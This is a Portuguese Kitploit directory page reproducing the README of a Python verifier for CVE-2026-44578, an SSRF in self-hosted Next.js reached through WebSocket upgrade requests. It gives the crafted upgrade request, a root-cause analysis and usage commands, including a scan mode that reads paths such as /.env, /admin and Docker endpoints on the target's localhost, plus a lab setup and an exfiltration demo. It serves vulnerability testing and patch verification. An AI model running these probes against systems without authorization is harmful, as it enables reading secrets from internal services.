Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
verify-ghsa-c4j6-fc7j-m34r — Verificador OOB para GHSA-c4j6-fc7j-m34r / CVE-2026-44578 (Next.js WebSocket-upgrade SSRF) | Kitploit
Ferramentas/GitHubGitHub/panchocosil/verify-ghsa-c4j6-fc7j-m34r
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoRed Teaming
GitHubpanchocosil/verify-ghsa-c4j6-fc7j-m34r

verify-ghsa-c4j6-fc7j-m34r

Verificador OOB para GHSA-c4j6-fc7j-m34r / CVE-2026-44578 (Next.js WebSocket-upgrade SSRF)

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
há 3 mesesAinda não revisado

verify-ghsa-c4j6-fc7j-m34r

Verificador em banda para GHSA-c4j6-fc7j-m34r / CVE-2026-44578 — Server-Side Request Forgery no Next.js via requisições de upgrade WebSocket.

⚠️ Apenas para testes de segurança autorizados. Você é responsável por garantir que tem permissão para testar cada alvo que passar para este script.

A vulnerabilidade

CampoValor
CVECVE-2026-44578
GHSAGHSA-c4j6-fc7j-m34r
CWECWE-918 (SSRF)
CVSS v3.18.6 (Alta) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Afetadonext >=13.4.13 <15.5.16, >=16.0.0 <16.2.5
Corrigido15.5.16, 16.2.5
Commit de correçãoc4f69086
Não afetadoHospedado na Vercel; output: "export"; implantações atrás de um proxy reverso que não encaminha Upgrade

Como o bug realmente funciona (verificado empiricamente contra 15.5.15 vs 15.5.16)

  1. Um atacante abre uma conexão TCP para um processo Next.js auto-hospedado e envia um upgrade WebSocket HTTP/1.1 cujo request-URI é uma URL absoluta:

    root@kitploit:~
    GET http://anything/<path> HTTP/1.1
    Host: <target>
    Connection: Upgrade
    Upgrade: websocket
    Sec-WebSocket-Version: 13
    Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
    
  2. Em resolveRoutes, a URL contém // (como toda URI absoluta), o que corresponde ao ramo "normalizar barras repetidas". Esse ramo retorna cedo com { finished: true, statusCode: 308, parsedUrl: <mangled> }. O normalizador colapsa http://host/path em http:/host/path (uma barra).

  3. Em router-server.ts, o manipulador de upgrade pré-correção ignorou finished/statusCode e apenas verificou parsedUrl.protocol. Como o protocolo sobrevive à normalização, ele chamou proxyRequest(...).

A correção (commit c4f69086) fez com que o manipulador de upgrade verificasse finished && !statusCode antes de fazer o proxying. O caso de normalização 308 agora falha na verificação !statusCode e o socket é fechado em vez disso.

Por que um verificador OOB baseado em callback não funcionará para este CVE

O proxy nunca alcança um host externo. Se você configurar um interactsh / Burp Collaborator / webhook canário e esperar que o processo Next telefone para casa, não vai — a conexão vai para localhost na máquina alvo. Este verificador, portanto, usa um sinal em banda lido do socket de upgrade: um servidor vulnerável retorna um corpo de erro reconhecível, um servidor corrigido não retorna nada.

Impacto prático

O alvo do SSRF é restrito, mas ainda significativo em implantações reais:

  • Contêineres sidecar / proxies reversos / painéis administrativos co-localizados no mesmo host que escutam em 127.0.0.1:80 ou :443 e confiam em requisições originadas de localhost.
  • Socket do Docker exposto via HTTP em 127.0.0.1:80 (incomum, mas visto).
  • Path traversal em qualquer serviço HTTP em localhost com URI de caminho controlada pelo atacante e semântica de upgrade WebSocket.

Os endpoints de metadados da AWS / GCP / Azure (169.254.169.254) não são diretamente acessíveis porque o bug fixa o destino em localhost.

Modelo de detecção

Para cada alvo, o script abre um socket TCP bruto (ou TLS), envia o upgrade criado, lê a resposta e produz dois sinais:

  • verdict — se o bug está presente.
  • impact_confirmed — se o SSRF realmente exfiltrou dados (ou seja, um serviço co-localizado em localhost:80/443 do alvo respondeu e recebemos sua resposta de volta).

Quando impact_confirmed é true, a saída JSON também inclui upstream_status, upstream_server e upstream_content_type analisados da resposta vazada (útil para triagem/elaboração de relatórios).

Proteção contra falsos positivos de proxy front-end

Por padrão, cada alvo também recebe uma sonda de controle com a mesma linha de requisição de URI absoluta, mas sem cabeçalhos Upgrade (Connection: close). Se o front-end retornar a mesma resposta para ambas as sondas (linha de status + tamanho dentro da tolerância), o front-end do próprio host está rejeitando a linha de requisição de URI absoluta em si — nginx 400, Apache 400, CDN edge — e o SSRF nunca alcançou o Next. O veredito é rebaixado para front_end_intercepts e a saída JSON inclui front_end_status e front_end_server analisados da resposta do proxy para que o operador possa identificar o que está interceptando.

Isso elimina um falso positivo real observado quando Next auto-hospedado está atrás de nginx/Apache: esses proxies rejeitam a linha de requisição GET http:///x HTTP/1.1 da sonda com um 400 genérico, que o detector anteriormente interpretava erroneamente como vulnerable_proxy_succeeded. Use --no-control-probe para optar por não participar e ver os vereditos brutos.

Requisitos

  • Python 3.10+
  • Nenhuma dependência de terceiros (apenas stdlib)

Uso

root@kitploit:~
# alvo único
python3 verify_ghsa_c4j6.py --target https://app.example.com

# múltiplos alvos através de repetição de bandeira
python3 verify_ghsa_c4j6.py \
    --target https://app1.example.com \
    --target app2.example.com:3000 \
    --target 10.0.0.5:80

# a partir de um arquivo (um alvo por linha; '#' para comentários)
python3 verify_ghsa_c4j6.py --targets-file targets.txt

# a partir de stdin
cat targets.txt | python3 verify_ghsa_c4j6.py

# saída em JSON Lines para ferramentas downstream
python3 verify_ghsa_c4j6.py --targets-file targets.txt --json

# Enumerar serviços co-localizados no localhost:80/443 do alvo através do bug
python3 verify_ghsa_c4j6.py --target https://app.example.com --scan

# O mesmo, com uma lista de caminhos personalizada
python3 verify_ghsa_c4j6.py --target ... --scan-paths-file my_paths.txt

Modo de varredura

--scan sonda uma lista embutida de caminhos comuns (módulos de status Apache/nginx, endpoints de health & métricas, Spring Boot Actuator, Go pprof, endpoints do Docker daemon, painéis administrativos comuns, arquivos de configuração vazados, rotas do Elasticsearch, etc.) através do gadget SSRF.

Por padrão, o modo de varredura executa uma sonda de linha de base diferencial extra com um caminho aleatório inexistente por alvo. As sondas subsequentes são marcadas como DIFF apenas quando sua assinatura (status, comprimento do corpo) diverge da linha de base — 404s uniformes de um upstream que "não encontrou nada" são marcados como noise e não inflam a contagem de acertos. Use --no-differential para relatar todas as sondas que alcançaram um serviço (comportamento legado).

A saída é agrupada por alvo:

root@kitploit:~
=== vulnscope.local:3030 ===
  baseline (random path): verdict=vulnerable_proxy_succeeded   status=404  bytes≈500
  [VULN+] DIFF  /                              impact=YES  status=200  ct='text/html'
  [VULN+] DIFF  /.env                          impact=YES  status=200  ct='application/octet-stream'
  [VULN+] DIFF  /admin                         impact=YES  status=200  ct='application/octet-stream'
  [VULN+] DIFF  /index.html                    impact=YES  status=200  ct='text/html'
  [VULN+] DIFF  /server-status                 impact=YES  status=200  ct='application/octet-stream'
  [VULN+] noise /_health                       impact=YES  status=404  ct='text/html;charset=utf-8'
  [VULN+] noise /actuator/env                  impact=YES  status=404  ct='text/html;charset=utf-8'
  ... (mais 53 caminhos 'noise' 404 suprimidos) ...
  -> 5 acerto(s) diferencial(is) / 58 sondas
  -> servidor(es) upstream visto(s): SimpleHTTP/0.6 Python/3.14.4

As linhas DIFF são os acertos reais — caminhos cuja resposta divergiu da linha de base de caminho aleatório (status diferente, comprimento do corpo diferente). As linhas noise também alcançaram um serviço HTTP, mas produziram a mesma resposta monótona da linha de base — tipicamente 404s uniformes com os quais o operador não se importa. Quando toda sonda é noise e não há divergência da linha de base, o bug ainda está presente, mas nada útil está escutando em localhost:80/443 daquele host.

Bandeiras

Os alvos podem ser host, host:port ou URLs completas http(s)://....

Suporte a proxy

Tunelar todas as sondas através de um proxy HTTP CONNECT para inspeção no Burp / mitmproxy / OWASP ZAP:

root@kitploit:~
# alvo HTTP simples via Burp
python3 verify_ghsa_c4j6.py --target http://app.example.com --proxy http://127.0.0.1:8080

# alvo HTTPS via Burp (Burp faz MITM no TLS — precisa de --insecure ou instalar CA do Burp)
python3 verify_ghsa_c4j6.py --target https://app.example.com --proxy http://127.0.0.1:8080 --insecure

# proxy com autenticação básica
python3 verify_ghsa_c4j6.py --target ... --proxy http://user:[email protected]:3128

O proxy vê um CONNECT host:port seguido pelo payload de upgrade bruto — útil quando você quer que o Burp registre/reproduza/modifique as sondas SSRF.

Reproduzindo localmente

Você pode executar um laboratório vulnerável em cinco comandos:

root@kitploit:~
mkdir vuln-lab && cd vuln-lab
npm init -y && npm i [email protected] react@19 react-dom@19
mkdir pages && echo 'export default () => "ok"' > pages/index.js
npx next build && npx next start -p 3030 &
python3 ../verify_ghsa_c4j6.py --target 127.0.0.1:3030

Saída:

root@kitploit:~
[ VULN] target=127.0.0.1:3030  verdict=vulnerable  impact= no
        snippet: 'Internal Server Error'

Repita com [email protected] e você deve ver verdict=likely_patched.

Demonstração de impacto (exfiltração real de dados)

demo_impact.sh executa Next na porta :80 (de modo que seu destino SSRF fixado em localhost é o mesmo processo Next) e lê o próprio HTML do Next de volta através do bug. Requer sudo para a vinculação de porta privilegiada.

root@kitploit:~
LAB_DIR=/path/to/next-vuln-lab ./demo_impact.sh

A saída esperada termina com IMPACT CONFIRMED — SSRF reached a service on the target localhost and read response data back.

Cuidados

  • Falsos negativos: qualquer proxy reverso na frente do Next que não encaminhe o cabeçalho Upgrade mascarará a vulnerabilidade; o script reportará likely_patched. Reteste diretamente contra o processo Next se possível.
  • Falsos positivos: a string literal Internal Server Error poderia teoricamente ser retornada por um proxy upstream por conta própria. Para descartar isso, reenvie o mesmo payload com Connection: close em vez de Connection: Upgrade — um Next vulnerável real para de retornar o corpo Internal Server Error nesse caso (caminho de código diferente).
  • Alvos somente HTTP/2: não tratados. next start usa HTTP/1.1 por padrão.

Uso responsável

Teste apenas sistemas que você possui ou para os quais tenha autorização explícita e por escrito para avaliar.

Referências

  • Advisory: https://github.com/advisories/GHSA-c4j6-fc7j-m34r
  • Lançamento do Next.js v15.5.16: https://github.com/vercel/next.js/releases/tag/v15.5.16
  • Lançamento do Next.js v16.2.5: https://github.com/vercel/next.js/releases/tag/v16.2.5
  • Commit de correção: https://github.com/vercel/next.js/commit/c4f69086cc8dcbd81b1dbc321c98ea874d90d6f8

Licença

MIT

Baixar ferramenta
  • proxyRequest executa url.format(parsedUrl) na URL corrompida, obtendo http:/host:port/path. http-proxy analisa esse destino, não encontra host (url.parse('http:/...').host === null), e retorna ao seu destino padrão: localhost:80 (ou localhost:443 para https).

  • Então, na prática, o SSRF permite que você faça o Next abrir um upgrade WebSocket para o próprio localhost:80 / localhost:443 do host Next.js com um caminho controlado pelo atacante.

  • RespostaVerdictimpact_confirmed
    Contém Internal Server Errorvulnerablefalse — bug comprovado, mas o proxy não encontrou nada em localhost
    Começa com HTTP/1.vulnerable_proxy_succeededtrue — dados reais da resposta exfiltrados
    Vazio / fechamento limpolikely_patchedfalse — também cobre "não é Next", "proxy reverso removeu Upgrade", "Vercel"
    Idêntico ao controle sem Upgradefront_end_interceptsfalse — proxy front-end interrompeu ambas as sondas; SSRF nunca alcançou o Next
    Qualquer outra coisainconclusivefalse
    BandeiraDescriçãoPadrão
    --target URLUm único alvo. Repita para múltiplos.—
    --targets-file PATHArquivo com um alvo por linha.—
    --probe-path PATHCaminho usado na URI absoluta criada. Alcança o serviço localhost do alvo neste caminho (registrado com um sufixo de token por alvo)./x
    --scanEnumera caminhos comuns no serviço localhost de cada alvo. Envia uma sonda de linha de base diferencial por alvo mais a lista de caminhos.desligado
    --scan-paths-file PATHLista de caminhos personalizada para o modo de varredura (um por linha). Implica --scan.embutida
    --no-differentialNo modo --scan, pula a sonda de linha de base e relata toda sonda que alcançou um serviço (comportamento legado).desligado
    --no-control-probeDesativa a proteção de curto-circuito do front-end (sonda extra sem Upgrade por alvo). Útil quando os alvos são estritamente conhecidos como processos Next diretos.desligado
    --timeout SECTimeout por socket.5
    --concurrency NSondas paralelas.10
    --insecurePula verificação de certificado TLS. Necessário com --proxy ao fazer MITM em TLS.desligado
    --proxy URLTunelar através de um proxy HTTP CONNECT (Burp / mitmproxy / ZAP). Suporta autenticação básica via http://user:pass@host:port. Requer Python 3.11+ para alvos TLS.direto
    --jsonEmite JSON Lines em vez de texto legível.desligado